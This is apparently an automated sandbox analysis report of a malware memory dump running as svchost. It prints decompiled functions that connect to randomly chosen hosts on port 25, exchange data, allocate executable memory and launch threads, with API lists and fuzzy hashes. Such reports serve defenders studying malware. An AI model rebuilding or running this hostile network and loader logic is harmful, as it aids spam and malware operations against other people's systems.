0x040016b5
0x040016bd
0x04001761
0x00000000
0x04001761
0x040016ca
0x040016e3
0x040016fd
0x04001706
0x04001712
0x0400171e
0x04001723
0x04001729
0x04001733
0x0400173f
0x04001749
0x04001759
0x0400175e
0x0400175e
0x00000000
0x04001749
0x00000000
0x04001735
0x040016ec
0x00000000
0x040016ec
0x040016d1
0x00000000
0x040016d1
0x04001698
0x00000000
0x04001698
0x00000000

APIs

CoInitialize.OLE32(00000000), ref: 04001642
WaitForSingleObject.KERNEL32(?,00000001), ref: 04001685
TerminateProcess.KERNEL32(?,00000000), ref: 04001698
GetExitCodeProcess.KERNELBASE(?,00000000), ref: 040016B5
Sleep.KERNELBASE(00001388), ref: 040016D1
SetEvent.KERNEL32(?), ref: 040016EC
CloseHandle.KERNEL32(?), ref: 040016FD
Sleep.KERNEL32(00000BB8), ref: 04001712

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: ProcessSleep$CloseCodeEventExitHandleInitializeObjectSingleTerminateWait
String ID:
API String ID: 110750051-0
Opcode ID: fe07a60cbe0f7ecbb0d01f894f054a993e108e4a151b0fabb885b28606ec9793
Instruction ID: d411829a3222fa01dcd82fa6bcec4b197f6087181c8baad7daf63abf5d028934
Opcode Fuzzy Hash: fe07a60cbe0f7ecbb0d01f894f054a993e108e4a151b0fabb885b28606ec9793
Instruction Fuzzy Hash: F9312A74A01204DFEB14DFA4DA98B9DB7B5FB44304F54C598E809BB280D779AE80DB51

Uniqueness

Uniqueness Score: -1.00%

Function 04001160 Relevance: 10.6, APIs: 7, Instructions: 85
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			E04001160(signed int __eax, intOrPtr _a4, signed short _a8, intOrPtr _a12, char _a16) {
				signed char _v8;
				short _v12;
				signed char _v13;
				signed int _v20;
				intOrPtr _v32;
				short _v34;
				char _v36;
				intOrPtr _v40;
				char _v44;
				signed int _t40;
				char* _t42;

				_push(6);
				_push(1);
				_push(2); // executed
				L0400101E(); // executed
				_v20 = __eax;
				if(_v20 != 0xffffffff) {
					_v36 = 2;
					_push(_a8 & 0x0000ffff);
					L04001030();
					_v34 = 2;
					_push(_a4); // executed
					L04001018(); // executed
					_v12 = 2;
					if(_v12 == 0) {
						return 0xffffffffffffffff;
					}
					_v32 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0xc))))));
					_v8 = 0;
					_v13 = 0;
					_v40 = 0;
					while(_v40 < _a12) {
						_push(0x10);
						_t42 =  &_v36;
						_push(_t42);
						_push(_v20); // executed
						L04001036(); // executed
						if(_t42 != 0) {
							_v40 = _v40 + 1;
							continue;
						}
						_v13 = 1;
						break;
					}
					if((_v13 & 0x000000ff) != 0) {
						if(_a16 != 0) {
							_v44 = _a16;
							_push(4);
							_push( &_v44);
							_push(0x1005);
							_push(0xffff);
							_push(_v20); // executed
							L0400102A(); // executed
							_push(4);
							_push( &_v44);
							_push(0x1006);
							_push(0xffff);
							_push(_v20); // executed
							L0400102A(); // executed
						}
						return _v20;
					}
					_t40 = _v20;
					_push(_t40);
					L04001000();
					return _t40 | 0xffffffff;
				}
				return _v20;
			}

0x04001166
0x04001168
0x0400116a
0x0400116c
0x04001171
0x04001178
0x04001187
0x0400118f
0x04001190
0x04001195
0x0400119c
0x0400119d
0x040011a2
0x040011a9
0x00000000
0x040011ba
0x040011b5
0x040011c2
0x040011c9
0x040011cd
0x040011df
0x040011e7
0x040011e9
0x040011ec
0x040011f0
0x040011f1
0x040011f8
0x040011dc
0x00000000
0x040011dc
0x040011fa
0x00000000
0x040011fa
0x04001208
0x0400121c
0x04001221
0x04001224
0x04001229
0x0400122a
0x0400122f
0x04001237
0x04001238
0x0400123d
0x04001242
0x04001243
0x04001248
0x04001250
0x04001251
0x04001251
0x00000000
0x04001256
0x0400120a
0x0400120d
0x0400120e
0x00000000
0x04001213
0x00000000

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 0400116C
htons.WS2_32(?), ref: 04001190
gethostbyname.WS2_32(?), ref: 0400119D
connect.WS2_32(000000FF,?,00000010), ref: 040011F1
closesocket.WS2_32(000000FF), ref: 0400120E

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: closesocketconnectgethostbynamehtonssocket
String ID:
API String ID: 530611402-0
Opcode ID: 3d9d7dafa64235843ffb934672811fee420f5a57adc05dc76075f4ea8ad417e8
Instruction ID: 08c5e0426ad4df4722dd3bdfc990c85badbf8b170f181f32ce41d694214c1be1
Opcode Fuzzy Hash: 3d9d7dafa64235843ffb934672811fee420f5a57adc05dc76075f4ea8ad417e8
Instruction Fuzzy Hash: 66315070A00259EBEB14DFA4C845BEEB7B6BF48318F108649E5617F2C0E7B6A9408751

Uniqueness

Uniqueness Score: -1.00%

Function 04001490 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 90
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E04001490() {
				signed int _v8;
				intOrPtr _v12;
				char _v524;
				intOrPtr _v528;
				intOrPtr _v532;
				intOrPtr _v536;
				signed int _v540;
				intOrPtr _v544;
				char _v548;
				char _v552;
				long _v556;
				void* _t73;

				_v8 = 0;
				_v12 = 3;
				_v528 = 0;
				while(_v528 < 3) {
					_v532 = 0;
					while(_v532 < 0x46) {
						E04001260(_t40,  &_v524, 0, 0x200);
						_v544 = E04001430(0x64);
						_v540 = E04001430(7);
						_t40 = E04001160(_v540,  *((intOrPtr*)(0x4088c00 + _v540 * 4)), 0x19, 1, 0x1388); // executed
						_t73 = _t73 + 0x24;
						_v536 = _t40;
						if(_v536 == 0xffffffff) {
							Sleep(1); // executed
							_v532 = _v532 + 1;
							continue;
						} else {
							E040013B0( &_v524, _v544); // executed
							 *0x400304c( &_v524, 0x4003134);
							_v556 = GetTickCount();
							E040010E0(_v536,  &_v524, _v544); // executed
							_v548 = 0;
							_v552 = 0;
							E04001040(_v536,  &_v524, 0x200,  &_v548,  &_v552); // executed
							_t73 = _t73 + 0x28;
							_v8 = _v552 - _v556 + _v8;
							_push(_v536); // executed
							L04001000(); // executed
						}
						break;
					}
					_t40 = _v528 + 1;
					_v528 = _v528 + 1;
				}
				asm("cdq");
				return _v8 / 3;
			}

0x04001499
0x040014a0
0x040014a7
0x040014c2
0x040014cf
0x040014ea
0x04001505
0x04001517
0x04001527
0x04001544
0x04001549
0x0400154c
0x04001559
0x0400160f
0x040014e4
0x00000000
0x0400155f
0x0400156d
0x04001581
0x0400158d
0x040015a8
0x040015b0
0x040015ba
0x040015e5
0x040015ea
0x040015fc
0x04001605
0x04001606
0x04001606
0x00000000
0x04001559
0x040014b9
0x040014bc
0x040014bc
0x04001622
0x0400162d

APIs

Part of subcall function 04001430: QueryPerformanceCounter.KERNEL32(00000000), ref: 04001444

Part of subcall function 04001160: socket.WS2_32(00000002,00000001,00000006), ref: 0400116C

Sleep.KERNELBASE(00000001), ref: 0400160F

Part of subcall function 040013B0: QueryPerformanceCounter.KERNEL32(?), ref: 040013E7
Part of subcall function 040013B0: Sleep.KERNELBASE(00000000), ref: 040013EF

lstrcat.KERNEL32(?,04003134), ref: 04001581
GetTickCount.KERNEL32 ref: 04001587
closesocket.WS2_32(000000FF), ref: 04001606

Strings

F, xrefs: 040014EA

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: CounterPerformanceQuerySleep$CountTickclosesocketlstrcatsocket
String ID: F
API String ID: 900668384-1304234792
Opcode ID: e6bc4524acd37c5f2a61d60cd04ada7e2da9e6c79a86eb7b70bf2b9ee635fd7d
Instruction ID: d79780824819048788ded504410e9a552de5875a97c05552d19a965bcf11c014
Opcode Fuzzy Hash: e6bc4524acd37c5f2a61d60cd04ada7e2da9e6c79a86eb7b70bf2b9ee635fd7d
Instruction Fuzzy Hash: 053152B5D41218EBEB20EF94DC49BD973B4AB14308F0482D9E5197A2C1E7766F848F91

Uniqueness

Uniqueness Score: -1.00%

Function 040014B3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E040014B3() {
				void* _t70;
				void* _t72;

				L0:
				while(1) {
					L0:
					_t38 =  *((intOrPtr*)(_t70 - 0x20c)) + 1;
					 *((intOrPtr*)(_t70 - 0x20c)) =  *((intOrPtr*)(_t70 - 0x20c)) + 1;
					L1:
					if( *((intOrPtr*)(_t70 - 0x20c)) < 3) {
						L2:
						 *((intOrPtr*)(_t70 - 0x210)) = 0;
						L4:
						while( *((intOrPtr*)(_t70 - 0x210)) < 0x46) {
							E04001260(_t38, _t70 - 0x208, 0, 0x200);
							 *((intOrPtr*)(_t70 - 0x21c)) = E04001430(0x64);
							 *(_t70 - 0x218) = E04001430(7);
							_t38 = E04001160( *(_t70 - 0x218),  *((intOrPtr*)(0x4088c00 +  *(_t70 - 0x218) * 4)), 0x19, 1, 0x1388); // executed
							_t72 = _t72 + 0x24;
							 *((intOrPtr*)(_t70 - 0x214)) = _t38;
							if( *((intOrPtr*)(_t70 - 0x214)) == 0xffffffff) {
								L7:
								Sleep(1); // executed
								L3:
								 *((intOrPtr*)(_t70 - 0x210)) =  *((intOrPtr*)(_t70 - 0x210)) + 1;
								continue;
							} else {
								L6:
								E040013B0(_t70 - 0x208,  *((intOrPtr*)(_t70 - 0x21c))); // executed
								 *0x400304c(_t70 - 0x208, 0x4003134);
								 *((intOrPtr*)(_t70 - 0x228)) = GetTickCount();
								E040010E0( *((intOrPtr*)(_t70 - 0x214)), _t70 - 0x208,  *((intOrPtr*)(_t70 - 0x21c))); // executed
								 *((intOrPtr*)(_t70 - 0x220)) = 0;
								 *((intOrPtr*)(_t70 - 0x224)) = 0;
								E04001040( *((intOrPtr*)(_t70 - 0x214)), _t70 - 0x208, 0x200, _t70 - 0x220, _t70 - 0x224); // executed
								 *(_t70 - 4) =  *((intOrPtr*)(_t70 - 0x224)) -  *((intOrPtr*)(_t70 - 0x228)) +  *(_t70 - 4);
								_push( *((intOrPtr*)(_t70 - 0x214))); // executed
								L04001000(); // executed
							}
							break;
						}
						L8:
						continue;
					}
					L9:
					asm("cdq");
					return  *(_t70 - 4) / 3;
					L10:
				}
			}

0x040014b3
0x040014b3
0x040014b3
0x040014b9
0x040014bc
0x040014c2
0x040014c9
0x040014cf
0x040014cf
0x00000000
0x040014ea
0x04001505
0x04001517
0x04001527
0x04001544
0x04001549
0x0400154c
0x04001559
0x0400160d
0x0400160f
0x040014db
0x040014e4
0x00000000
0x0400155f
0x0400155f
0x0400156d
0x04001581
0x0400158d
0x040015a8
0x040015b0
0x040015ba
0x040015e5
0x040015fc
0x04001605
0x04001606
0x04001606
0x00000000
0x04001559
0x0400161a
0x00000000
0x0400161a
0x0400161f
0x04001622
0x0400162d
0x00000000
0x0400162d

APIs

Part of subcall function 04001430: QueryPerformanceCounter.KERNEL32(00000000), ref: 04001444

Part of subcall function 04001160: socket.WS2_32(00000002,00000001,00000006), ref: 0400116C

Sleep.KERNELBASE(00000001), ref: 0400160F

Part of subcall function 040013B0: QueryPerformanceCounter.KERNEL32(?), ref: 040013E7
Part of subcall function 040013B0: Sleep.KERNELBASE(00000000), ref: 040013EF

lstrcat.KERNEL32(?,04003134), ref: 04001581
GetTickCount.KERNEL32 ref: 04001587
closesocket.WS2_32(000000FF), ref: 04001606

Strings

F, xrefs: 040014EA

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: CounterPerformanceQuerySleep$CountTickclosesocketlstrcatsocket
String ID: F
API String ID: 900668384-1304234792
Opcode ID: 3f257ec96778accae7db7852b0fbcac80dd7221c206c2323f8e06a36ea41de21
Instruction ID: efc04feaa42e0dd8c691736b9f02f641cbb91c62c4f6f354fde5ae11d8ba4a5d
Opcode Fuzzy Hash: 3f257ec96778accae7db7852b0fbcac80dd7221c206c2323f8e06a36ea41de21
Instruction Fuzzy Hash: 423132B5D41218ABEB20EFA4DC89BD973B4AB18308F0482D5E5197A181E6756F84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 040014DB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E040014DB() {
				intOrPtr _t45;
				void* _t71;
				void* _t73;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t71 - 0x210)) =  *((intOrPtr*)(_t71 - 0x210)) + 1;
					L4:
					while(1) {
						L4:
						if( *((intOrPtr*)(_t71 - 0x210)) < 0x46) {
							L5:
							E04001260(_t38, _t71 - 0x208, 0, 0x200);
							 *((intOrPtr*)(_t71 - 0x21c)) = E04001430(0x64);
							 *(_t71 - 0x218) = E04001430(7);
							_t45 = E04001160( *(_t71 - 0x218),  *((intOrPtr*)(0x4088c00 +  *(_t71 - 0x218) * 4)), 0x19, 1, 0x1388); // executed
							_t73 = _t73 + 0x24;
							 *((intOrPtr*)(_t71 - 0x214)) = _t45;
							if( *((intOrPtr*)(_t71 - 0x214)) == 0xffffffff) {
								L7:
								Sleep(1); // executed
								goto L0;
							} else {
								L6:
								E040013B0(_t71 - 0x208,  *((intOrPtr*)(_t71 - 0x21c))); // executed
								 *0x400304c(_t71 - 0x208, 0x4003134);
								 *((intOrPtr*)(_t71 - 0x228)) = GetTickCount();
								E040010E0( *((intOrPtr*)(_t71 - 0x214)), _t71 - 0x208,  *((intOrPtr*)(_t71 - 0x21c))); // executed
								 *((intOrPtr*)(_t71 - 0x220)) = 0;
								 *((intOrPtr*)(_t71 - 0x224)) = 0;
								E04001040( *((intOrPtr*)(_t71 - 0x214)), _t71 - 0x208, 0x200, _t71 - 0x220, _t71 - 0x224); // executed
								_t73 = _t73 + 0x28;
								 *(_t71 - 4) =  *((intOrPtr*)(_t71 - 0x224)) -  *((intOrPtr*)(_t71 - 0x228)) +  *(_t71 - 4);
								_push( *((intOrPtr*)(_t71 - 0x214))); // executed
								L04001000(); // executed
							}
						}
						L8:
						L1:
						_t38 =  *((intOrPtr*)(_t71 - 0x20c)) + 1;
						 *((intOrPtr*)(_t71 - 0x20c)) =  *((intOrPtr*)(_t71 - 0x20c)) + 1;
						L2:
						if( *((intOrPtr*)(_t71 - 0x20c)) < 3) {
							L3:
							 *((intOrPtr*)(_t71 - 0x210)) = 0;
							continue;
						}
						L9:
						asm("cdq");
						return  *(_t71 - 4) / 3;
						L10:
					}
				}
			}

0x040014db
0x040014db
0x040014db
0x040014e4
0x00000000
0x040014ea
0x040014ea
0x040014f1
0x040014f7
0x04001505
0x04001517
0x04001527
0x04001544
0x04001549
0x0400154c
0x04001559
0x0400160d
0x0400160f
0x00000000
0x0400155f
0x0400155f
0x0400156d
0x04001581
0x0400158d
0x040015a8
0x040015b0
0x040015ba
0x040015e5
0x040015ea
0x040015fc
0x04001605
0x04001606
0x04001606
0x04001559
0x0400161a
0x040014b3
0x040014b9
0x040014bc
0x040014c2
0x040014c9
0x040014cf
0x040014cf
0x00000000
0x040014cf
0x0400161f
0x04001622
0x0400162d
0x00000000
0x0400162d
0x040014ea

APIs

Part of subcall function 04001430: QueryPerformanceCounter.KERNEL32(00000000), ref: 04001444

Part of subcall function 04001160: socket.WS2_32(00000002,00000001,00000006), ref: 0400116C

Sleep.KERNELBASE(00000001), ref: 0400160F

Part of subcall function 040013B0: QueryPerformanceCounter.KERNEL32(?), ref: 040013E7
Part of subcall function 040013B0: Sleep.KERNELBASE(00000000), ref: 040013EF

lstrcat.KERNEL32(?,04003134), ref: 04001581
GetTickCount.KERNEL32 ref: 04001587
closesocket.WS2_32(000000FF), ref: 04001606

Strings

F, xrefs: 040014EA

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: CounterPerformanceQuerySleep$CountTickclosesocketlstrcatsocket
String ID: F
API String ID: 900668384-1304234792
Opcode ID: cf3c1adff95c02d838a93fa7c3e08858ca76797544e8a022648dccf564d39913
Instruction ID: 6ed18f16ab0dd41aabad2fa4162e749fae483d95e79aad030a55c0feddf4590a
Opcode Fuzzy Hash: cf3c1adff95c02d838a93fa7c3e08858ca76797544e8a022648dccf564d39913
Instruction Fuzzy Hash: 383164B5D4021CABEB24EF94DC88BD97374AB18308F0482D8E51D7A181EB75AF84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04001989 Relevance: 4.6, APIs: 3, Instructions: 96
sleepthreadsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E04001989() {
				intOrPtr _t48;
				intOrPtr _t50;
				intOrPtr _t53;
				void* _t58;
				void* _t64;
				void* _t86;
				void* _t87;
				void* _t88;

				while(1) {
					_t48 = E04001490(); // executed
					 *((intOrPtr*)(_t86 - 0x19c)) = _t48;
					if( *((intOrPtr*)(_t86 - 0x19c)) <= 0 ||  *((intOrPtr*)(_t86 - 0x19c)) >= 0x2710) {
						Sleep(0x7530);
						continue;
					} else {
						 *0x4088c2c = CreateEventA(0, 1, 0, 0);
						_t50 = E040023E0( *(0x4088c1c +  *(_t86 - 0x194) * 4)); // executed
						_t88 = _t87 + 4;
						 *((intOrPtr*)(_t86 - 0x1a0)) = _t50;
						if( *((intOrPtr*)(_t86 - 0x1a0)) != 0) {
							E04001DC0( *((intOrPtr*)(_t86 - 0x1a0)), 0x4085600); // executed
							_t64 = E04001470(0xc);
							_t88 = _t88 + 0xc;
							 *(_t86 - 0x1b4) = _t64;
							 *(_t86 - 0x1a4) =  *(_t86 - 0x1b4);
							 *( *(_t86 - 0x1a4)) =  *(0x4088c1c +  *(_t86 - 0x194) * 4);
							 *((intOrPtr*)( *(_t86 - 0x1a4) + 4)) =  *((intOrPtr*)(_t86 - 0x1a0));
							 *((intOrPtr*)( *(_t86 - 0x1a4) + 8)) = 0x4085600;
							CreateThread(0, 0, E04001630,  *(_t86 - 0x1a4), 0, 0); // executed
						}
						 *(_t86 - 0x1a8) = 0;
						while( *(_t86 - 0x1a8) < 3) {
							_t53 = E040023E0( *(0x4088c20 + ( *((intOrPtr*)(_t86 - 0x198)) +  *(_t86 - 0x1a8)) * 4)); // executed
							_t88 = _t88 + 4;
							 *((intOrPtr*)(_t86 - 0x1ac)) = _t53;
							if( *((intOrPtr*)(_t86 - 0x1ac)) != 0) {
								E04001DC0( *((intOrPtr*)(_t86 - 0x1ac)), 0x4085600); // executed
								_t58 = E04001470(0xc);
								_t88 = _t88 + 0xc;
								 *(_t86 - 0x1b8) = _t58;
								 *(_t86 - 0x1b0) =  *(_t86 - 0x1b8);
								 *( *(_t86 - 0x1b0)) =  *(0x4088c20 + ( *((intOrPtr*)(_t86 - 0x198)) +  *(_t86 - 0x1a8)) * 4);
								 *((intOrPtr*)( *(_t86 - 0x1b0) + 4)) =  *((intOrPtr*)(_t86 - 0x1ac));
								 *((intOrPtr*)( *(_t86 - 0x1b0) + 8)) = 0x4085600;
								CreateThread(0, 0, E04001630,  *(_t86 - 0x1b0), 0, 0); // executed
							}
							 *(_t86 - 0x1a8) =  *(_t86 - 0x1a8) + 1;
						}
						WaitForSingleObject( *0x4088c2c, 0xffffffff);
						Sleep(0x9c40);
						L04001006();
						ExitProcess(0);
					}
				}
			}

0x04001996
0x040017b6
0x040017bb
0x040017c8
0x04001990
0x00000000
0x040017de
0x040017ec
0x040017ff
0x04001804
0x04001807
0x04001814
0x04001822
0x0400182c
0x04001831
0x04001834
0x04001840
0x04001859
0x04001867
0x04001870
0x0400188b
0x0400188b
0x04001891
0x040018ac
0x040018cd
0x040018d2
0x040018d5
0x040018e2
0x040018f4
0x040018fe
0x04001903
0x04001906
0x04001912
0x04001931
0x0400193f
0x04001948
0x04001963
0x04001963
0x040018a6
0x040018a6
0x04001976
0x04001981
0x0400199b
0x040019a2
0x040019a2
0x040017c8

APIs

Part of subcall function 04001490: lstrcat.KERNEL32(?,04003134), ref: 04001581
Part of subcall function 04001490: GetTickCount.KERNEL32 ref: 04001587
Part of subcall function 04001490: closesocket.WS2_32(000000FF), ref: 04001606

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 040017E6
CreateThread.KERNELBASE(00000000,00000000,Function_00001630,?,00000000,00000000), ref: 0400188B
CreateThread.KERNELBASE(00000000,00000000,Function_00001630,?,00000000,00000000), ref: 04001963
WaitForSingleObject.KERNEL32(?,000000FF), ref: 04001976
Sleep.KERNEL32(00009C40), ref: 04001981

Part of subcall function 04001DC0: VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000040), ref: 04001E14

Part of subcall function 04001470: GetProcessHeap.KERNEL32(00000008,?), ref: 04001479
Part of subcall function 04001470: RtlAllocateHeap.NTDLL(00000000), ref: 04001480

Sleep.KERNEL32(00007530), ref: 04001990
WSACleanup.WS2_32 ref: 0400199B
ExitProcess.KERNEL32 ref: 040019A2

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: Create$HeapProcessSleepThread$AllocAllocateCleanupCountEventExitObjectSingleTickVirtualWaitclosesocketlstrcat
String ID:
API String ID: 3000315311-0
Opcode ID: ed75c3485ee5f6438b7b72692c8e44a361812d41e5d2ef45d7a2c52b189860e4
Instruction ID: ecbd1e530684247b239ee6e1b256228db756e23c6e027602103708aff6be2e82
Opcode Fuzzy Hash: ed75c3485ee5f6438b7b72692c8e44a361812d41e5d2ef45d7a2c52b189860e4
Instruction Fuzzy Hash: 84410674A012289FFB60DF14DC95BDAB7B0AB4A708F1480E8E5497B2C4D7756E80CF46

Uniqueness

Uniqueness Score: -1.00%

Function 04001040 Relevance: 3.1, APIs: 2, Instructions: 56
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E04001040(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16, intOrPtr* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _t26;

				if(_a8 == 0 || _a12 < 0) {
					return 0;
				} else {
					_v8 = 0;
					while(_a12 != 0) {
						_push(0);
						_t26 = _a12;
						_push(_t26);
						_push(_a8 + _v8);
						_push(_a4); // executed
						L04001024(); // executed
						_v12 = _t26;
						if(_a20 != 0 &&  *_a20 == 0 && _v12 > 0) {
							 *_a20 = GetTickCount();
						}
						if(_v12 >= 0) {
							if(_v12 != 0) {
								_v8 = _v8 + _v12;
								_a12 = _a12 - _v12;
								continue;
							}
							goto L15;
						} else {
							L15:
							if(_a16 != 0) {
								 *_a16 = _v8;
							}
							return 1;
						}
					}
					return 0;
				}
			}

0x0400104a
0x00000000
0x04001056
0x04001056
0x0400105d
0x04001067
0x04001069
0x0400106c
0x04001073
0x04001077
0x04001078
0x0400107d
0x04001084
0x0400109d
0x0400109d
0x040010a3
0x040010ab
0x040010b5
0x040010be
0x00000000
0x040010be
0x00000000
0x040010a5
0x040010c3
0x040010c7
0x040010cf
0x040010cf
0x00000000
0x040010d1
0x040010a3
0x00000000
0x04001063

APIs

recv.WS2_32(?,00000000,?,00000000), ref: 04001078
GetTickCount.KERNEL32 ref: 04001094

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: CountTickrecv
String ID:
API String ID: 1874678310-0
Opcode ID: 6b4986c91a39f45b3505869805ead1539d7754d72571547b31f3d810936fcdc1
Instruction ID: 449e92a0b18f183db0f7345c8df75c2f30566562dbb85a03ceabff6c1882a85f
Opcode Fuzzy Hash: 6b4986c91a39f45b3505869805ead1539d7754d72571547b31f3d810936fcdc1
Instruction Fuzzy Hash: B821F274900299EFEF10CFA4D4447AE7BF1AF04309F108559E8456B281D7B6AA94DB92

Uniqueness

Uniqueness Score: -1.00%

Function 040010E0 Relevance: 3.0, APIs: 2, Instructions: 44
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 54%

			E040010E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _t22;

				if(_a8 == 0 || _a12 < 0) {
					return 0;
				} else {
					_v8 = 0;
					while(_a12 != 0) {
						_push(0);
						_t22 = _a12;
						_push(_t22);
						_push(_a8 + _v8);
						_push(_a4); // executed
						L04001012(); // executed
						_v12 = _t22;
						if(_v12 != 0xffffffff) {
							_v8 = _v8 + _v12;
							_a12 = _a12 - _v12;
							continue;
						}
						return 0;
					}
					_push(0);
					_push(0);
					_push(_a8);
					_push(_a4); // executed
					L04001012(); // executed
					return 1;
				}
			}

0x040010ea
0x00000000
0x040010f6
0x040010f6
0x040010fd
0x04001103
0x04001105
0x04001108
0x0400110f
0x04001113
0x04001114
0x04001119
0x04001120
0x0400112c
0x04001135
0x00000000
0x04001135
0x00000000
0x04001122
0x0400113a
0x0400113c
0x04001141
0x04001145
0x04001146
0x00000000
0x0400114b

APIs

send.WS2_32(?,00000000,?,00000000), ref: 04001114
send.WS2_32(?,00000000,00000000,00000000), ref: 04001146

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: b2e598ef71c8ac5d0c56a500729e24b321e62eb8f582e8b020920d41a4434bf5
Instruction ID: 7140d396e4fa338b1c45032ebff5f33e510887e1da457bfc48643044175dbf3e
Opcode Fuzzy Hash: b2e598ef71c8ac5d0c56a500729e24b321e62eb8f582e8b020920d41a4434bf5
Instruction Fuzzy Hash: 80012234A00348FBEF14CFA8D845BEE77B4AB44318F10C658E9656B2C0D7B6A651EB91

Uniqueness

Uniqueness Score: -1.00%

Function 040013B0 Relevance: 3.0, APIs: 2, Instructions: 38
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E040013B0(intOrPtr _a4, intOrPtr _a8) {
				long _v8;
				long _v12;
				union _LARGE_INTEGER _v20;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0) {
					_v12 = 0;
					while(_v12 < _a8) {
						QueryPerformanceCounter( &_v20);
						Sleep(0); // executed
						_t17 = _v20.LowPart % 0x3d + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmopqrstuvwxyz1234567890"; // 0x44434241
						 *((char*)(_a4 + _v12)) =  *_t17;
						_v12 = _v12 + 1;
					}
					 *((char*)(_a4 + _a8)) = 0;
					_v8 = 1;
				}
				return _v8;
			}

0x040013b6
0x040013c1
0x040013c9
0x040013db
0x040013e7
0x040013ef
0x04001407
0x0400140d
0x040013d8
0x040013d8
0x04001417
0x0400141a
0x0400141a
0x04001427

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 040013E7
Sleep.KERNELBASE(00000000), ref: 040013EF

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: a7db8480fdc823d777aef3822c45b88b551d9c425098c02d9d2f571069091408
Instruction ID: 9d74403c1c2c7bb1751bbbba9dc0b5917814bf527727232baae25755bbc2d242
Opcode Fuzzy Hash: a7db8480fdc823d777aef3822c45b88b551d9c425098c02d9d2f571069091408
Instruction Fuzzy Hash: 18011A30904208EBEB01CF98D494BEDBBB1FF44308F14C098E9496B381D379AA84CB81

Uniqueness

Uniqueness Score: -1.00%

Function 004011CD Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

